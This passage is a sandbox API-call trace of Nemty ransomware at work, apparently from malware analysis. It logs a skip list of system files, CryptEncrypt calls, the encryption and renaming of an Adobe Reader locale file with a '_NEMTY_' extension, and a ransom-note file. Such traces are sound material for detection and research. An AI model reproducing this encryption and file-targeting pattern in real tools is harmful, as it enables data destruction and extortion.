lstrcmpiW (lpString1="WebLink.SKY", lpString2="...") returned 1 [0183.724] lstrcmpiW (lpString1="WebLink.SKY", lpString2="windows") returned -1 [0183.724] lstrcmpiW (lpString1="WebLink.SKY", lpString2="$RECYCLE.BIN") returned 1 [0183.724] lstrcmpiW (lpString1="WebLink.SKY", lpString2="rsa") returned 1 [0183.724] lstrcmpiW (lpString1="WebLink.SKY", lpString2="NTDETECT.COM") returned 1 [0183.724] lstrcmpiW (lpString1="WebLink.SKY", lpString2="ntldr") returned 1 [0183.724] lstrcmpiW (lpString1="WebLink.SKY", lpString2="MSDOS.SYS") returned 1 [0183.724] lstrcmpiW (lpString1="WebLink.SKY", lpString2="IO.SYS") returned 1 [0183.725] lstrcmpiW (lpString1="WebLink.SKY", lpString2="boot.ini") returned 1 [0183.725] lstrcmpiW (lpString1="WebLink.SKY", lpString2="boot.ini") returned 1 [0183.725] lstrcmpiW (lpString1="WebLink.SKY", lpString2="AUTOEXEC.BAT") returned 1 [0183.725] lstrcmpiW (lpString1="WebLink.SKY", lpString2="ntuser.dat") returned 1 [0183.725] lstrcmpiW (lpString1="WebLink.SKY", lpString2="desktop.ini") returned 1 [0183.725] lstrcmpiW (lpString1="WebLink.SKY", lpString2="CONFIG.SYS") returned 1 [0183.725] lstrcmpiW (lpString1="WebLink.SKY", lpString2="RECYCLER") returned 1 [0183.725] lstrcmpiW (lpString1="WebLink.SKY", lpString2="BOOTSECT.BAK") returned 1 [0183.725] lstrcmpiW (lpString1="WebLink.SKY", lpString2="bootmgr") returned 1 [0183.725] lstrcmpiW (lpString1="WebLink.SKY", lpString2="programdata") returned 1 [0183.725] lstrcmpiW (lpString1="WebLink.SKY", lpString2="appdata") returned 1 [0183.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.725] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.SKY", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0183.725] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.SKY", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WebLink.SKY", lpUsedDefaultChar=0x0) returned 11 [0183.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.725] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.SKY", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0183.725] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.SKY", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WebLink.SKY", lpUsedDefaultChar=0x0) returned 11 [0183.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.725] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.SKY", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0183.725] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.SKY", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WebLink.SKY", lpUsedDefaultChar=0x0) returned 11 [0183.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.725] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.SKY", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0183.725] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.SKY", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WebLink.SKY", lpUsedDefaultChar=0x0) returned 11 [0183.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0183.725] Sleep (dwMilliseconds=0x5) [0183.735] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21294770, dwHighDateTime=0x1d561e8)) [0183.735] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21294770, dwHighDateTime=0x1d561e8)) [0183.735] GetLastError () returned 0x0 [0183.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.735] GetLastError () returned 0x0 [0183.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.735] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.735] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.735] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0183.735] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="b/FvzQbaBuAadyWbmRNN7ipo29/vTRsPgA11hwEPAWOTJVPw7nRyTdEZ2v85jnRl\r\n/pV7RMBaoDf8JqWlX5b/mJ7hIzCCctDsZU9oJnKhulroBM+u5BUEBoPaApjAv0cR\r\nBK4lm3ggq7u7kjICBrMkpEPJ4KdlWWr+alCq+tbjNzAmcS3wI2OA0MD+hIaUKqG2\r\nmd91DAO8qIBF3FrqldaXHaGWKk6gnY3xGY3GhPr6444bWe0JSAhsS0AaalHvUqgi\r\nZC+qtrekbAnaJx9VKoyl13Q/w5F8NOBgPcFYOatQudPWUkElSPV8JYwOaAYoHA4Z\r\nVnQ27ZvuvnwXE/oSyiN1xg==\r\n", pcchString=0x653e5dc) returned 1 [0183.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0183.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.735] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\WebLink.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\weblink.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.736] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28160) returned 1 [0183.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6e00) returned 0x6352c48 [0183.736] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.736] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6e00, lpOverlapped=0x0) returned 1 [0183.739] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.739] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6e00, lpOverlapped=0x0) returned 1 [0183.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.739] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e00 [0183.739] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.740] CloseHandle (hObject=0x2e8) returned 1 [0183.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0183.740] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.740] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0183.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0183.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0183.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.740] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\WebLink.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\weblink.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\WebLink.SKY._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\weblink.sky._nemty_kgobjgd_")) returned 1 [0183.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0183.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0183.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.741] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20dd1b70, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x20dd1b70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x20dd1b70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0183.741] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0183.741] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0183.741] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0183.741] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0183.741] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0183.741] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0183.741] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0183.741] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0183.741] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0183.741] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0183.741] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0183.741] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0183.741] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0183.741] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0183.741] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0183.741] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0183.741] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0183.741] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0183.741] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0183.741] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0183.741] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0183.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.741] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0183.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.741] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0183.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0183.741] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0183.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0183.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0183.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0183.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0183.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0183.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0183.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0183.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.742] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20dd1b70, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x20dd1b70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x20dd1b70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0183.742] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0183.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0183.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0183.742] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="sl_SI", cAlternateFileName="")) returned 1 [0183.742] lstrcmpiW (lpString1="sl_SI", lpString2=".") returned 1 [0183.742] lstrcmpiW (lpString1="sl_SI", lpString2="..") returned 1 [0183.742] lstrcmpiW (lpString1="sl_SI", lpString2="...") returned 1 [0183.742] lstrcmpiW (lpString1="sl_SI", lpString2="windows") returned -1 [0183.742] lstrcmpiW (lpString1="sl_SI", lpString2="$RECYCLE.BIN") returned 1 [0183.742] lstrcmpiW (lpString1="sl_SI", lpString2="rsa") returned 1 [0183.742] lstrcmpiW (lpString1="sl_SI", lpString2="NTDETECT.COM") returned 1 [0183.742] lstrcmpiW (lpString1="sl_SI", lpString2="ntldr") returned 1 [0183.743] lstrcmpiW (lpString1="sl_SI", lpString2="MSDOS.SYS") returned 1 [0183.743] lstrcmpiW (lpString1="sl_SI", lpString2="IO.SYS") returned 1 [0183.743] lstrcmpiW (lpString1="sl_SI", lpString2="boot.ini") returned 1 [0183.743] lstrcmpiW (lpString1="sl_SI", lpString2="boot.ini") returned 1 [0183.743] lstrcmpiW (lpString1="sl_SI", lpString2="AUTOEXEC.BAT") returned 1 [0183.743] lstrcmpiW (lpString1="sl_SI", lpString2="ntuser.dat") returned 1 [0183.743] lstrcmpiW (lpString1="sl_SI", lpString2="desktop.ini") returned 1 [0183.743] lstrcmpiW (lpString1="sl_SI", lpString2="CONFIG.SYS") returned 1 [0183.743] lstrcmpiW (lpString1="sl_SI", lpString2="RECYCLER") returned 1 [0183.743] lstrcmpiW (lpString1="sl_SI", lpString2="BOOTSECT.BAK") returned 1 [0183.743] lstrcmpiW (lpString1="sl_SI", lpString2="bootmgr") returned 1 [0183.743] lstrcmpiW (lpString1="sl_SI", lpString2="programdata") returned 1 [0183.743] lstrcmpiW (lpString1="sl_SI", lpString2="appdata") returned 1 [0183.743] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sl_SI", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0183.743] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sl_SI", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sl_SI", lpUsedDefaultChar=0x0) returned 5 [0183.743] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sl_SI", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0183.743] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sl_SI", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sl_SI", lpUsedDefaultChar=0x0) returned 5 [0183.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0183.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0183.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0183.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0183.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0183.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0183.743] HeapFree (in: hHeap=0x4f90000, 